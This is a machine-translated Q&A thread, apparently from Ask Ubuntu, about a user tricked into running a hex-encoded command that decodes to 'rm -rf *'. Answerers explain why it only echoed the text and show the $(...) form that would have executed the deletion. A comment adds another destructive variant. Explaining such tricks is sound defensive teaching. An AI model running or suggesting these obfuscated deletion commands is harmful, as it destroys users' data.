我被欺骗复制粘贴命令,这是否伤害了我?


129

在一个在线论坛上,有人(我想只是跟我一起拖钓)说要输入到终端:

(echo 726d202d7266202a | xxd -r -p)

请勿输入此内容,因为我不知道它有什么伤害。

它在终端返回了这个:

rm -rf *ryanmcclure@RyansLinuxBox:~$

这删除了什么吗?我在想,因为我听说rm -rf *是删除所有内容的可怕命令。

编辑:就是这样,任何读过此内容的人都知道,我被告知输入此内容以查看终端中的ASCII艺术动画。请注意,这是用来欺骗我的把戏。


40
极有可能是攻击者的意图命令$(echo ... etc)已删除一切- $(...)手段“运行此命令,捕捉它的输出,并运行一个命令”。要安全地查看它的$(echo ls)运行情况,可以尝试-运行它的输出echo ls,即ls-将运行ls

3
是的,无论谁给了您很大的失败,是因为他们不知道如何使外壳程序执行更多工作而不是对字符串进行解码。
ewanm89 '04

53
看来您的操作系统快要执行了... /。YEAHHhhhh ...
JoeFish 2012年

11
现在该备份所有您认为可能已经丢失的内容了:)
MattJ 2012年

16
因此,您从不安全的来源复制并粘贴了命令,但是键入错误?幸运的是,有时候有两个错误确实是对的。=)
rakslice 2012年

Answers:


157

不,它什么也没做-只是一个呼声很高。

括号告诉bash(外壳程序)在子外壳程序中执行内容(这是毫无意义的)。执行的命令echo 726d202d7266202a | xxd -r -p除了将以下文本输出到屏幕“ rm -rf *”之外,不会执行任何操作。如果它以命令形式运行该文本-而不是仅将文本输出到屏幕-您将会遇到麻烦。因此,无论如何,让这是一个免费的课程,不要运行您不了解的Internet命令。


6
难道rm -rf * 没有根做什么呢?
badp 2012年

32
@badp确实如此。它将删除当前目录中的所有内容,这意味着/ home / $ USERNAME(通常)
jrg

2
@badp即使是/,递归最终也将绕到/home,然后到,然后/home/$USERNAME无论如何都将进行。在此之前,应该有很多“权限被拒绝”类型的错误。
Izkata 2012年

16
实际上rm -rf /是特殊情况,因此特定命令在现代Linux系统上不会有害。这rm -rf *将造成严重伤害,因为它可能会删除您的所有个人数据,这些数据远比操作系统有价值。
杰里米·毕查

7
当您rm -rf /以root身份运行时,发生的事情实际上非常有趣。有人在虚拟机中尝试了它,并在超级用户博客上写了它:blog.superuser.com/2011/07/25/the-path-of-destruction-rm-rf
nhinkle

90

本着“教一个人钓鱼要比给他一条鱼更好”的精神,我建议您在码头输入man xxd(是的,我又是另一个人告诉您在码头输入一些信息...但您应该将该man命令识别为安全的)。

如果您不熟悉echo也应该检查一下。基本上,您列出的命令将字符串“回显”到标准输出。

|但是,管道xxd会将标准输出引导到命令的标准输入中,在这种情况下,将其设置为将十六进制的字符串转换为常规格式的输入。

因此,简短的答案是:不,它没有删除任何内容。但这回荡rm -rf *在您的屏幕上,这一定给您带来了一些寒意:-)


2
当我得到两个很好的答案时,我讨厌,但我必须把它交给迈克尔,仅仅因为他击败了你一分钟。:(但是,这个答案仍然不错!我可能应该使自己熟悉echo ... :)
Ryan McClure 2012年

7
在盲目输入在计算机上Internet上找到的命令之前,您始终至少应该对它的功能有所了解。如果命令太长而无法一见钟情,请以- |符号将其分解。实际上,如果您不知道该命令,请始终检查手册页。它将保护您免受这类人的伤害,您每次都会学到一些东西。
jippie 2012年

3
man命令可能是在终端和Internet浏览器中都能给出相同结果的唯一命令。
真实性2012年

7
但请注意:man $(rm -rf *)同样致命。
unperson325680 '04

1
老实说,我认为阅读xxd的手册页对使用shell尚不很了解的人没有什么帮助。我真的怀疑OP是否可以通过阅读此人来确定该命令是否确实有害,而无需进行更多工作。我确实同意,在输入命令之前先知道它在做什么,并询问您是否无法解决它是一个好主意。实际上,关于ubuntu“官方”论坛的烦恼之一是,有太多随机建议,让毫无头绪的人将一些神奇的咒语输入终端。
马蒂·弗里德

34

攻击者可能打算将您粘贴$(echo 726d202d7266202a | xxd -r -p)到外壳中。 xxd 将726d202d7266202a解码为rm -rf *,然后将其执行。


17
我猜他(受害者)没有参加$,因为他认为这是提示而不是命令的一部分:)
Daniel Serodio

1
或者也许他毕竟不是一个非常坏的人...:D
user3490458

1

如果您担心有人会令您的文件系统感到刺痛,则chroot可以使用。chroot /random/directory然后执行命令。


18
在这种情况下,解释chroot的作用或含义将很有帮助。否则,这将键入另一个命令...在Internet上找到...
Michael Durrant

在类似docker容器的环境中运行它也是一个好主意,但这可能会过大(但以防万一...)
joshumax 2014年

总是可以chroot退回(或直接退出chroot的shell)。这可以包含在攻击有效载荷中。
Zenexer
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.